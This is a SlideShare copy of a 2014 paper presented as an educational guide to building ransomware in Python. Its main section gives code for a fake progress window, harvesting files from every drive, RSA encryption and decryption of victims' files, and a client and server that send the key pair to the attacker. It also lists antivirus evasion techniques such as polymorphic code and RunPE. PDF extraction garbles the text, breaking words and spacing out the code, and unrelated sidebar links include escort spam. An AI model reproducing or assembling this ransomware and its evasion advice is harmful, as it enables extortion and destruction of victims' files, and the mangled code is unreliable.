SlideShare ist ein Scribd-Unternehmen logo
1 von 6
Downloaden Sie, um offline zu lesen
Ransomware for Fun and Non-Pro
t 
Youness Zougar (@L3tsXpl0it) 
zougar92@gmail.com 
October 30, 2014 
In this paper, I will be explaining how Ransomware works by giving some 
examples. This is done for Educational purposes only to understand better 
how Ransomware behaves. 
1 What is a Ransomware ? 
Brie
y, Ransomware is a type of malware created in the aim to restrict 
access to a victim's computer by encrypting
les on the hard drive. After 
that, the victim is asked to pay the attacker to get the restriction removed by 
decrypting the encrypted
les. CryptoLocker for example is a Ransomware 
that infected more than 200K systems in the world, and generated millions 
of dollars to its developer. 
2 How does it work ? 
The process is simple. Generally, when the Ransomware gets executed, it 
scans in background all the directories on the system looking for interesting
les' extensions (.docx, .xlsx...) that were hard coded in it, then it en- 
crypts them using an encryption key. Some Ransomwares block completely 
the victims to access the system by changing the Winlogon shell value from 
explorer.exe to the the path of the malware executable. At the end, the Ran- 
somware pops-up a window asking the victim a ransom to get the decryption 
key. To push the victim to pay as fast as possible, some Ransomwares cap- 
ture webcam session and use it to freak out the victim. 
Now, we have an idea how simple Ransomware works. Let's go deeper 
into its functions. 
1
3 How Ransomware is made ? 
3.1 Scenario 
Let's think of a simple Ransomware scenario. 
The victim will get the executable on his machine (torrent download, an 
infected USB stick...) and launches it. A window will pop-up displaying a 
loading bar asking the victim to wait. 
In the meantime and in background, all the interesting

Weitere ähnliche Inhalte

Was ist angesagt?

SSH I/O Streaming via Redis-based Persistent Message Queue -Mani Tadayon
 SSH I/O Streaming via Redis-based Persistent Message Queue -Mani Tadayon SSH I/O Streaming via Redis-based Persistent Message Queue -Mani Tadayon
SSH I/O Streaming via Redis-based Persistent Message Queue -Mani TadayonRedis Labs
 
Encrypt all transports
Encrypt all transportsEncrypt all transports
Encrypt all transportsEleanor McHugh
 
Go for the paranoid network programmer
Go for the paranoid network programmerGo for the paranoid network programmer
Go for the paranoid network programmerEleanor McHugh
 
Aprils fool 2014
Aprils fool 2014Aprils fool 2014
Aprils fool 2014bijan_
 
Abusing text/template for data transformation
Abusing text/template for data transformationAbusing text/template for data transformation
Abusing text/template for data transformationArnaud Porterie
 
Information track presentation_final
Information track presentation_finalInformation track presentation_final
Information track presentation_finalKazuki Omo
 
Threat hunting != Throwing arrow! Hunting for adversaries in your it environment
Threat hunting != Throwing arrow! Hunting for adversaries in your it environmentThreat hunting != Throwing arrow! Hunting for adversaries in your it environment
Threat hunting != Throwing arrow! Hunting for adversaries in your it environmentNahidul Kibria
 
Creating an Arduino Web Server from scratch hardware and software
Creating an Arduino Web Server from scratch hardware and softwareCreating an Arduino Web Server from scratch hardware and software
Creating an Arduino Web Server from scratch hardware and softwareJustin Mclean
 
The Ring programming language version 1.10 book - Part 59 of 212
The Ring programming language version 1.10 book - Part 59 of 212The Ring programming language version 1.10 book - Part 59 of 212
The Ring programming language version 1.10 book - Part 59 of 212Mahmoud Samir Fayed
 
What happens when I press enter?
What happens when I press enter?What happens when I press enter?
What happens when I press enter?tobiassjosten
 
Chatting dengan beberapa pc laptop
Chatting dengan beberapa pc laptopChatting dengan beberapa pc laptop
Chatting dengan beberapa pc laptopyayaria
 
Python Asíncrono - Async Python
Python Asíncrono - Async PythonPython Asíncrono - Async Python
Python Asíncrono - Async PythonJavier Abadía
 
Arduino and the real time web
Arduino and the real time webArduino and the real time web
Arduino and the real time webAndrew Fisher
 
Go for the would be network programmer
Go for the would be network programmerGo for the would be network programmer
Go for the would be network programmerEleanor McHugh
 
Study of aloha protocol using ns2 network java proram
Study of aloha protocol using ns2 network java proramStudy of aloha protocol using ns2 network java proram
Study of aloha protocol using ns2 network java proramMeenakshi Devi
 

Was ist angesagt? (20)

SSH I/O Streaming via Redis-based Persistent Message Queue -Mani Tadayon
 SSH I/O Streaming via Redis-based Persistent Message Queue -Mani Tadayon SSH I/O Streaming via Redis-based Persistent Message Queue -Mani Tadayon
SSH I/O Streaming via Redis-based Persistent Message Queue -Mani Tadayon
 
Encrypt all transports
Encrypt all transportsEncrypt all transports
Encrypt all transports
 
Go for the paranoid network programmer
Go for the paranoid network programmerGo for the paranoid network programmer
Go for the paranoid network programmer
 
Aprils fool 2014
Aprils fool 2014Aprils fool 2014
Aprils fool 2014
 
STOP NETCUT..!!
STOP NETCUT..!!STOP NETCUT..!!
STOP NETCUT..!!
 
Abusing text/template for data transformation
Abusing text/template for data transformationAbusing text/template for data transformation
Abusing text/template for data transformation
 
Information track presentation_final
Information track presentation_finalInformation track presentation_final
Information track presentation_final
 
Threat hunting != Throwing arrow! Hunting for adversaries in your it environment
Threat hunting != Throwing arrow! Hunting for adversaries in your it environmentThreat hunting != Throwing arrow! Hunting for adversaries in your it environment
Threat hunting != Throwing arrow! Hunting for adversaries in your it environment
 
Creating an Arduino Web Server from scratch hardware and software
Creating an Arduino Web Server from scratch hardware and softwareCreating an Arduino Web Server from scratch hardware and software
Creating an Arduino Web Server from scratch hardware and software
 
Nullbyte 6ed. 2019
Nullbyte 6ed. 2019Nullbyte 6ed. 2019
Nullbyte 6ed. 2019
 
The Ring programming language version 1.10 book - Part 59 of 212
The Ring programming language version 1.10 book - Part 59 of 212The Ring programming language version 1.10 book - Part 59 of 212
The Ring programming language version 1.10 book - Part 59 of 212
 
What happens when I press enter?
What happens when I press enter?What happens when I press enter?
What happens when I press enter?
 
Automating malware analysis
Automating malware analysis Automating malware analysis
Automating malware analysis
 
Chatting dengan beberapa pc laptop
Chatting dengan beberapa pc laptopChatting dengan beberapa pc laptop
Chatting dengan beberapa pc laptop
 
Python Asíncrono - Async Python
Python Asíncrono - Async PythonPython Asíncrono - Async Python
Python Asíncrono - Async Python
 
Cryptography Attacks and Applications
Cryptography Attacks and ApplicationsCryptography Attacks and Applications
Cryptography Attacks and Applications
 
Ns2programs
Ns2programsNs2programs
Ns2programs
 
Arduino and the real time web
Arduino and the real time webArduino and the real time web
Arduino and the real time web
 
Go for the would be network programmer
Go for the would be network programmerGo for the would be network programmer
Go for the would be network programmer
 
Study of aloha protocol using ns2 network java proram
Study of aloha protocol using ns2 network java proramStudy of aloha protocol using ns2 network java proram
Study of aloha protocol using ns2 network java proram
 

Ähnlich wie Ransomware Explained

Chasing the Adder. A tale from the APT world...
Chasing the Adder. A tale from the APT world...Chasing the Adder. A tale from the APT world...
Chasing the Adder. A tale from the APT world...Stefano Maccaglia
 
Advanced malware analysis training session 7 malware memory forensics
Advanced malware analysis training session 7 malware memory forensicsAdvanced malware analysis training session 7 malware memory forensics
Advanced malware analysis training session 7 malware memory forensicsCysinfo Cyber Security Community
 
Penetrating Windows 8 with syringe utility
Penetrating Windows 8 with syringe utilityPenetrating Windows 8 with syringe utility
Penetrating Windows 8 with syringe utilityIOSR Journals
 
Security & ethical hacking
Security & ethical hackingSecurity & ethical hacking
Security & ethical hackingAmanpreet Singh
 
Lab-10 Malware Creation and Denial of Service (DoS) In t.docx
Lab-10 Malware Creation and Denial of Service (DoS)        In t.docxLab-10 Malware Creation and Denial of Service (DoS)        In t.docx
Lab-10 Malware Creation and Denial of Service (DoS) In t.docxpauline234567
 
Security & ethical hacking p2
Security & ethical hacking p2Security & ethical hacking p2
Security & ethical hacking p2ratnalajaggu
 
Reversing & Malware Analysis Training Part 9 - Advanced Malware Analysis
Reversing & Malware Analysis Training Part 9 -  Advanced Malware AnalysisReversing & Malware Analysis Training Part 9 -  Advanced Malware Analysis
Reversing & Malware Analysis Training Part 9 - Advanced Malware Analysissecurityxploded
 
Teensy Programming for Everyone
Teensy Programming for EveryoneTeensy Programming for Everyone
Teensy Programming for EveryoneNikhil Mittal
 
Strategies to design FUD malware
Strategies to design FUD malwareStrategies to design FUD malware
Strategies to design FUD malwarePedro Tavares
 
Advanced Malware Analysis Training Session 7 - Malware Memory Forensics
Advanced Malware Analysis Training Session 7  - Malware Memory ForensicsAdvanced Malware Analysis Training Session 7  - Malware Memory Forensics
Advanced Malware Analysis Training Session 7 - Malware Memory Forensicssecurityxploded
 
Password hacking
Password hackingPassword hacking
Password hackingAbhay pal
 
Client side exploits
Client side exploitsClient side exploits
Client side exploitsnickyt8
 
Reversing & malware analysis training part 9 advanced malware analysis
Reversing & malware analysis training part 9   advanced malware analysisReversing & malware analysis training part 9   advanced malware analysis
Reversing & malware analysis training part 9 advanced malware analysisAbdulrahman Bassam
 
MacOS forensics and anti-forensics (DC Lviv 2019) presentation
MacOS forensics and anti-forensics (DC Lviv 2019) presentationMacOS forensics and anti-forensics (DC Lviv 2019) presentation
MacOS forensics and anti-forensics (DC Lviv 2019) presentationOlehLevytskyi1
 

Ähnlich wie Ransomware Explained (20)

Chasing the Adder. A tale from the APT world...
Chasing the Adder. A tale from the APT world...Chasing the Adder. A tale from the APT world...
Chasing the Adder. A tale from the APT world...
 
Advanced malware analysis training session 7 malware memory forensics
Advanced malware analysis training session 7 malware memory forensicsAdvanced malware analysis training session 7 malware memory forensics
Advanced malware analysis training session 7 malware memory forensics
 
Penetrating Windows 8 with syringe utility
Penetrating Windows 8 with syringe utilityPenetrating Windows 8 with syringe utility
Penetrating Windows 8 with syringe utility
 
Security & ethical hacking
Security & ethical hackingSecurity & ethical hacking
Security & ethical hacking
 
Lab-10 Malware Creation and Denial of Service (DoS) In t.docx
Lab-10 Malware Creation and Denial of Service (DoS)        In t.docxLab-10 Malware Creation and Denial of Service (DoS)        In t.docx
Lab-10 Malware Creation and Denial of Service (DoS) In t.docx
 
Security & ethical hacking p2
Security & ethical hacking p2Security & ethical hacking p2
Security & ethical hacking p2
 
Security Handbook
 Security Handbook Security Handbook
Security Handbook
 
Understand study
Understand studyUnderstand study
Understand study
 
Reversing & Malware Analysis Training Part 9 - Advanced Malware Analysis
Reversing & Malware Analysis Training Part 9 -  Advanced Malware AnalysisReversing & Malware Analysis Training Part 9 -  Advanced Malware Analysis
Reversing & Malware Analysis Training Part 9 - Advanced Malware Analysis
 
Teensy Programming for Everyone
Teensy Programming for EveryoneTeensy Programming for Everyone
Teensy Programming for Everyone
 
Strategies to design FUD malware
Strategies to design FUD malwareStrategies to design FUD malware
Strategies to design FUD malware
 
Basic malware analysis
Basic malware analysis Basic malware analysis
Basic malware analysis
 
Advanced Malware Analysis Training Session 7 - Malware Memory Forensics
Advanced Malware Analysis Training Session 7  - Malware Memory ForensicsAdvanced Malware Analysis Training Session 7  - Malware Memory Forensics
Advanced Malware Analysis Training Session 7 - Malware Memory Forensics
 
Password hacking
Password hackingPassword hacking
Password hacking
 
Client side exploits
Client side exploitsClient side exploits
Client side exploits
 
Reversing & malware analysis training part 9 advanced malware analysis
Reversing & malware analysis training part 9   advanced malware analysisReversing & malware analysis training part 9   advanced malware analysis
Reversing & malware analysis training part 9 advanced malware analysis
 
Hacking tutorial
Hacking tutorialHacking tutorial
Hacking tutorial
 
Hacking
HackingHacking
Hacking
 
Hacking
HackingHacking
Hacking
 
MacOS forensics and anti-forensics (DC Lviv 2019) presentation
MacOS forensics and anti-forensics (DC Lviv 2019) presentationMacOS forensics and anti-forensics (DC Lviv 2019) presentation
MacOS forensics and anti-forensics (DC Lviv 2019) presentation
 

Kürzlich hochgeladen

Call Girls In Aerocity 🤳 Call Us +919599264170
Call Girls In Aerocity 🤳 Call Us +919599264170Call Girls In Aerocity 🤳 Call Us +919599264170
Call Girls In Aerocity 🤳 Call Us +919599264170Escort Service
 
James Joyce, Dubliners and Ulysses.ppt !
James Joyce, Dubliners and Ulysses.ppt !James Joyce, Dubliners and Ulysses.ppt !
James Joyce, Dubliners and Ulysses.ppt !risocarla2016
 
Genshin Impact PPT Template by EaTemp.pptx
Genshin Impact PPT Template by EaTemp.pptxGenshin Impact PPT Template by EaTemp.pptx
Genshin Impact PPT Template by EaTemp.pptxJohnree4
 
PAG-UNLAD NG EKONOMIYA na dapat isaalang alang sa pag-aaral.
PAG-UNLAD NG EKONOMIYA na dapat isaalang alang sa pag-aaral.PAG-UNLAD NG EKONOMIYA na dapat isaalang alang sa pag-aaral.
PAG-UNLAD NG EKONOMIYA na dapat isaalang alang sa pag-aaral.KathleenAnnCordero2
 
PHYSICS PROJECT BY MSC - NANOTECHNOLOGY
PHYSICS PROJECT BY MSC  - NANOTECHNOLOGYPHYSICS PROJECT BY MSC  - NANOTECHNOLOGY
PHYSICS PROJECT BY MSC - NANOTECHNOLOGYpruthirajnayak525
 
Genesis part 2 Isaiah Scudder 04-24-2024.pptx
Genesis part 2 Isaiah Scudder 04-24-2024.pptxGenesis part 2 Isaiah Scudder 04-24-2024.pptx
Genesis part 2 Isaiah Scudder 04-24-2024.pptxFamilyWorshipCenterD
 
Anne Frank A Beacon of Hope amidst darkness ppt.pptx
Anne Frank A Beacon of Hope amidst darkness ppt.pptxAnne Frank A Beacon of Hope amidst darkness ppt.pptx
Anne Frank A Beacon of Hope amidst darkness ppt.pptxnoorehahmad
 
Gaps, Issues and Challenges in the Implementation of Mother Tongue Based-Mult...
Gaps, Issues and Challenges in the Implementation of Mother Tongue Based-Mult...Gaps, Issues and Challenges in the Implementation of Mother Tongue Based-Mult...
Gaps, Issues and Challenges in the Implementation of Mother Tongue Based-Mult...marjmae69
 
Dutch Power - 26 maart 2024 - Henk Kras - Circular Plastics
Dutch Power - 26 maart 2024 - Henk Kras - Circular PlasticsDutch Power - 26 maart 2024 - Henk Kras - Circular Plastics
Dutch Power - 26 maart 2024 - Henk Kras - Circular PlasticsDutch Power
 
SaaStr Workshop Wednesday w/ Kyle Norton, Owner.com
SaaStr Workshop Wednesday w/ Kyle Norton, Owner.comSaaStr Workshop Wednesday w/ Kyle Norton, Owner.com
SaaStr Workshop Wednesday w/ Kyle Norton, Owner.comsaastr
 
call girls in delhi malviya nagar @9811711561@
call girls in delhi malviya nagar @9811711561@call girls in delhi malviya nagar @9811711561@
call girls in delhi malviya nagar @9811711561@vikas rana
 
SBFT Tool Competition 2024 -- Python Test Case Generation Track
SBFT Tool Competition 2024 -- Python Test Case Generation TrackSBFT Tool Competition 2024 -- Python Test Case Generation Track
SBFT Tool Competition 2024 -- Python Test Case Generation TrackSebastiano Panichella
 
Presentation for the Strategic Dialogue on the Future of Agriculture, Brussel...
Presentation for the Strategic Dialogue on the Future of Agriculture, Brussel...Presentation for the Strategic Dialogue on the Future of Agriculture, Brussel...
Presentation for the Strategic Dialogue on the Future of Agriculture, Brussel...Krijn Poppe
 
Call Girls in Rohini Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Rohini Delhi 💯Call Us 🔝8264348440🔝Call Girls in Rohini Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Rohini Delhi 💯Call Us 🔝8264348440🔝soniya singh
 
The 3rd Intl. Workshop on NL-based Software Engineering
The 3rd Intl. Workshop on NL-based Software EngineeringThe 3rd Intl. Workshop on NL-based Software Engineering
The 3rd Intl. Workshop on NL-based Software EngineeringSebastiano Panichella
 
Work Remotely with Confluence ACE 2.pptx
Work Remotely with Confluence ACE 2.pptxWork Remotely with Confluence ACE 2.pptx
Work Remotely with Confluence ACE 2.pptxmavinoikein
 
miladyskindiseases-200705210221 2.!!pptx
miladyskindiseases-200705210221 2.!!pptxmiladyskindiseases-200705210221 2.!!pptx
miladyskindiseases-200705210221 2.!!pptxCarrieButtitta
 
THE COUNTRY WHO SOLVED THE WORLD_HOW CHINA LAUNCHED THE CIVILIZATION REVOLUTI...
THE COUNTRY WHO SOLVED THE WORLD_HOW CHINA LAUNCHED THE CIVILIZATION REVOLUTI...THE COUNTRY WHO SOLVED THE WORLD_HOW CHINA LAUNCHED THE CIVILIZATION REVOLUTI...
THE COUNTRY WHO SOLVED THE WORLD_HOW CHINA LAUNCHED THE CIVILIZATION REVOLUTI...漢銘 謝
 
The Ten Facts About People With Autism Presentation
The Ten Facts About People With Autism PresentationThe Ten Facts About People With Autism Presentation
The Ten Facts About People With Autism PresentationNathan Young
 
Simulation-based Testing of Unmanned Aerial Vehicles with Aerialist
Simulation-based Testing of Unmanned Aerial Vehicles with AerialistSimulation-based Testing of Unmanned Aerial Vehicles with Aerialist
Simulation-based Testing of Unmanned Aerial Vehicles with AerialistSebastiano Panichella
 

Kürzlich hochgeladen (20)

Call Girls In Aerocity 🤳 Call Us +919599264170
Call Girls In Aerocity 🤳 Call Us +919599264170Call Girls In Aerocity 🤳 Call Us +919599264170
Call Girls In Aerocity 🤳 Call Us +919599264170
 
James Joyce, Dubliners and Ulysses.ppt !
James Joyce, Dubliners and Ulysses.ppt !James Joyce, Dubliners and Ulysses.ppt !
James Joyce, Dubliners and Ulysses.ppt !
 
Genshin Impact PPT Template by EaTemp.pptx
Genshin Impact PPT Template by EaTemp.pptxGenshin Impact PPT Template by EaTemp.pptx
Genshin Impact PPT Template by EaTemp.pptx
 
PAG-UNLAD NG EKONOMIYA na dapat isaalang alang sa pag-aaral.
PAG-UNLAD NG EKONOMIYA na dapat isaalang alang sa pag-aaral.PAG-UNLAD NG EKONOMIYA na dapat isaalang alang sa pag-aaral.
PAG-UNLAD NG EKONOMIYA na dapat isaalang alang sa pag-aaral.
 
PHYSICS PROJECT BY MSC - NANOTECHNOLOGY
PHYSICS PROJECT BY MSC  - NANOTECHNOLOGYPHYSICS PROJECT BY MSC  - NANOTECHNOLOGY
PHYSICS PROJECT BY MSC - NANOTECHNOLOGY
 
Genesis part 2 Isaiah Scudder 04-24-2024.pptx
Genesis part 2 Isaiah Scudder 04-24-2024.pptxGenesis part 2 Isaiah Scudder 04-24-2024.pptx
Genesis part 2 Isaiah Scudder 04-24-2024.pptx
 
Anne Frank A Beacon of Hope amidst darkness ppt.pptx
Anne Frank A Beacon of Hope amidst darkness ppt.pptxAnne Frank A Beacon of Hope amidst darkness ppt.pptx
Anne Frank A Beacon of Hope amidst darkness ppt.pptx
 
Gaps, Issues and Challenges in the Implementation of Mother Tongue Based-Mult...
Gaps, Issues and Challenges in the Implementation of Mother Tongue Based-Mult...Gaps, Issues and Challenges in the Implementation of Mother Tongue Based-Mult...
Gaps, Issues and Challenges in the Implementation of Mother Tongue Based-Mult...
 
Dutch Power - 26 maart 2024 - Henk Kras - Circular Plastics
Dutch Power - 26 maart 2024 - Henk Kras - Circular PlasticsDutch Power - 26 maart 2024 - Henk Kras - Circular Plastics
Dutch Power - 26 maart 2024 - Henk Kras - Circular Plastics
 
SaaStr Workshop Wednesday w/ Kyle Norton, Owner.com
SaaStr Workshop Wednesday w/ Kyle Norton, Owner.comSaaStr Workshop Wednesday w/ Kyle Norton, Owner.com
SaaStr Workshop Wednesday w/ Kyle Norton, Owner.com
 
call girls in delhi malviya nagar @9811711561@
call girls in delhi malviya nagar @9811711561@call girls in delhi malviya nagar @9811711561@
call girls in delhi malviya nagar @9811711561@
 
SBFT Tool Competition 2024 -- Python Test Case Generation Track
SBFT Tool Competition 2024 -- Python Test Case Generation TrackSBFT Tool Competition 2024 -- Python Test Case Generation Track
SBFT Tool Competition 2024 -- Python Test Case Generation Track
 
Presentation for the Strategic Dialogue on the Future of Agriculture, Brussel...
Presentation for the Strategic Dialogue on the Future of Agriculture, Brussel...Presentation for the Strategic Dialogue on the Future of Agriculture, Brussel...
Presentation for the Strategic Dialogue on the Future of Agriculture, Brussel...
 
Call Girls in Rohini Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Rohini Delhi 💯Call Us 🔝8264348440🔝Call Girls in Rohini Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Rohini Delhi 💯Call Us 🔝8264348440🔝
 
The 3rd Intl. Workshop on NL-based Software Engineering
The 3rd Intl. Workshop on NL-based Software EngineeringThe 3rd Intl. Workshop on NL-based Software Engineering
The 3rd Intl. Workshop on NL-based Software Engineering
 
Work Remotely with Confluence ACE 2.pptx
Work Remotely with Confluence ACE 2.pptxWork Remotely with Confluence ACE 2.pptx
Work Remotely with Confluence ACE 2.pptx
 
miladyskindiseases-200705210221 2.!!pptx
miladyskindiseases-200705210221 2.!!pptxmiladyskindiseases-200705210221 2.!!pptx
miladyskindiseases-200705210221 2.!!pptx
 
THE COUNTRY WHO SOLVED THE WORLD_HOW CHINA LAUNCHED THE CIVILIZATION REVOLUTI...
THE COUNTRY WHO SOLVED THE WORLD_HOW CHINA LAUNCHED THE CIVILIZATION REVOLUTI...THE COUNTRY WHO SOLVED THE WORLD_HOW CHINA LAUNCHED THE CIVILIZATION REVOLUTI...
THE COUNTRY WHO SOLVED THE WORLD_HOW CHINA LAUNCHED THE CIVILIZATION REVOLUTI...
 
The Ten Facts About People With Autism Presentation
The Ten Facts About People With Autism PresentationThe Ten Facts About People With Autism Presentation
The Ten Facts About People With Autism Presentation
 
Simulation-based Testing of Unmanned Aerial Vehicles with Aerialist
Simulation-based Testing of Unmanned Aerial Vehicles with AerialistSimulation-based Testing of Unmanned Aerial Vehicles with Aerialist
Simulation-based Testing of Unmanned Aerial Vehicles with Aerialist
 

Ransomware Explained

  • 1. Ransomware for Fun and Non-Pro
  • 2. t Youness Zougar (@L3tsXpl0it) zougar92@gmail.com October 30, 2014 In this paper, I will be explaining how Ransomware works by giving some examples. This is done for Educational purposes only to understand better how Ransomware behaves. 1 What is a Ransomware ? Brie y, Ransomware is a type of malware created in the aim to restrict access to a victim's computer by encrypting
  • 3. les on the hard drive. After that, the victim is asked to pay the attacker to get the restriction removed by decrypting the encrypted
  • 4. les. CryptoLocker for example is a Ransomware that infected more than 200K systems in the world, and generated millions of dollars to its developer. 2 How does it work ? The process is simple. Generally, when the Ransomware gets executed, it scans in background all the directories on the system looking for interesting
  • 5. les' extensions (.docx, .xlsx...) that were hard coded in it, then it en- crypts them using an encryption key. Some Ransomwares block completely the victims to access the system by changing the Winlogon shell value from explorer.exe to the the path of the malware executable. At the end, the Ran- somware pops-up a window asking the victim a ransom to get the decryption key. To push the victim to pay as fast as possible, some Ransomwares cap- ture webcam session and use it to freak out the victim. Now, we have an idea how simple Ransomware works. Let's go deeper into its functions. 1
  • 6. 3 How Ransomware is made ? 3.1 Scenario Let's think of a simple Ransomware scenario. The victim will get the executable on his machine (torrent download, an infected USB stick...) and launches it. A window will pop-up displaying a loading bar asking the victim to wait. In the meantime and in background, all the interesting
  • 7. les will get en- crypted with a generated unique RSA-2048 Public key. Once the
  • 8. les get encrypted, the generated RSA-2048 pair (Public and Pri- vate keys) is sent to the attacker's server (if the victim is connected to the Internet) or stored in the machine (if she isn't connected). When the encryption of
  • 10. nished, the loading window is closed and a new window is launched, displaying a ransom message and the remaining time to pay to get the decryption key. To get the RSA-2048 Private key, the victim has to pay before time runs out using the attacker's de
  • 11. ned methods (Bitcoin, PaySafeGuard, UKash...). Once the victim gets the Private key and enters it, the decryption process is executed to get back the original
  • 12. les. 3.2 Functions The scenario can be translated in functions as shown below. - Launch Loading Window : A fake loading bar is created to push the user to wait until the encryption's process of the
  • 14. nished. Example: import t tk from Tkinter import def fake loading window ( ) : t = Tk( ) l a b e l = Message ( t , t ext= Pl eas e wai t . . . ) l a b e l . pack ( ) prog bar = t tk . Progr e s sbar ( o r i e n t=HORIZONTAL, l ength=500 , mode=' de t e rminat e ' ) t . t i t l e ( Encrypt ing f i l e s . . . ) prog bar . s t a r t ( ) t . mainloop ( ) 2
  • 15. - Get Files : Get all the interesting
  • 16. les. In this example, the interested
  • 17. les will be the
  • 18. les in the internal/external Hard Drives and
  • 19. les in the current user's home folder. Example: import fnmatch def g e t f i l e s ( ) : matches = [ ] volumes = [ ] path = ABCDEFGHIJKLMNOPQRSTUVWXYZ f i l e e x t = [ ] for p in path : i f os . path . e x i s t s (p+' : ' ) : volumes . append (p) volumes . append ( os . getenv ( 'USERPROFILE' ) ) for v in volumes : i f v != 'C' : for root , di r s , f i l e s in os . walk ( v ) : for f in f i l e e x t : for i in fnmatch . f i l t e r ( f i l e s , f ) : matches . append ( os . path . j o i n ( root , i ) ) return matches - Generate Keys : A function that generates an RSA-2048 Public/Pri- vate keys. Example: from Crypto . Publ icKey import RSA def g ene r a t e k e y s ( ) : pr i v a t e = RSA. gene rat e (2048) publ i c = pr i v a t e . publ i ckey ( ) pr i v a t e k e y = pr i v a t e . exportKey ( ) publ i c k e y = publ i c . exportKey ( ) return publ i c key , pr i v a t e k e y - Encrypt Files : This function uses the Public key generated by the Generate Keys' function and encrypts all the
  • 20. les returned by the Get Files' function, then it adds an extension to the encrypted
  • 21. les. Example: from Crypto . Publ icKey import RSA def encrypt (message , pubkey ) : enc ryptor = RSA. importKey ( pubkey ) encrypted = enc ryptor . encrypt (message , 0) return encrypted 3
  • 22. - Decrypt Files : This function decrypts the encrypted
  • 23. les using the Private key entered by the victim in the entry of the ransom window. Example: def decrypt (message , pr ivkey ) : de c ryptor = RSA. importKey ( pr ivkey ) decrypted = de c ryptor . decrypt (message ) return decrypted - Send Private Key : If the victim is connected to the Internet, this function sends the generated pair (Public/Private keys) to the server using a secured connection (SSL). Else, this function stores the generated pair in an obfuscated way somewhere in the victim's machine. In 90% of the time, the generated pair in sent to the server because we assume that the victim will directly execute the executable when it is down- loaded. So an Internet connection is present. Example (client): import s o cke t s = s o cke t . s o cke t ( s o cke t .AF INET, s o cke t .SOCK STREAM) s . connect ( ( ' l o c a l h o s t ' , 1337) ) s s l S o c k e t = s o cke t . s s l ( s ) i f CN=TOTO in repr ( s s l S o c k e t . s e r v e r ( ) ) : s s l S o c k e t . wr i t e ( ' He l lo s e cur e s o cke t nn ' ) print connected ! print s ending keys . . . s . c l o s e ( ) Example (server): import s o cke t from OpenSSL import SSL cont ext = SSL . Context (SSL .SSLv23 METHOD) cont ext . u s e p r i v a t e k e y f i l e ( ' s e r v e r . key ' ) cont ext . u s e c e r t i f i c a t e f i l e ( ' s e r v e r . c r t ' ) s = s o cke t . s o cke t ( s o cke t .AF INET, s o cke t .SOCK STREAM) s = SSL . Connection ( context , s ) s . bind ( ( ' 0 . 0 . 0 . 0 ' , 1337) ) s . l i s t e n ( 5 ) while True : conn , addr = s . ac c ept ( ) print repr ( conn . r e cv ( 1 0 2 4 ) ) 4
  • 24. 3.3 What about Antivirus ? The most used and targeted environment by malwares today is Windows. So, we can't target this environment without thinking about Antivirus. Mal- ware developers just need to get rid of them to make their malwares unde- tectable when scanned. Antivirus returns an analyzed executable in one of the following status : - Detected : The executable is detected because of a signature or malicious behavior. Or it can also be detected as a false positive. - Not detected : The executable isn't detected because no blacklisted signature was found on it, or its behavior isn't harmful. It can also use some techniques to bypass Antivirus detection. Malware developers are more interested in the second status. So, to make an executable undetectable, they use some techniques to bypass Antivirus detection. This can be done by creating a polymorphic code generator for example. The generator will help to bypass signature based detections, as it generates each time a totally dierent sample of the executable while keep- ing its same behavior. RunPE technique : A well known technique used by malware developers to bypass behavioral detections. Python programming : The code gets partly obfuscated when using py2exe to create a Windows executable from a python source
  • 25. le. Some other techniques can be used to achieve the anti-detection process. 5
  • 26. 4 How to prevent malware infection ? Here are some basic advices to keep away malwares from your computer. - Keep your Antivirus updated Yes, today the malware isn't detected because of a bypass technique. But what about tomorrow ? - Be aware of what you are executing on your machine Don't trust the downloaded
  • 27. les using torrents for example, as it is one of the favorite ways for malware developers to spread malwares. 5 Conclusion Nowadays, people should be aware about the existence of this type of mal- ware and what they can do. Moreover, they must protect and secure their computers to stay safe from any compromise of their systems or personal sensitive information. However, Antivirus companies need some new meth- ods and ways to quickly detect and destroy sophisticated malwares before they spread rapidly across the Internet. 6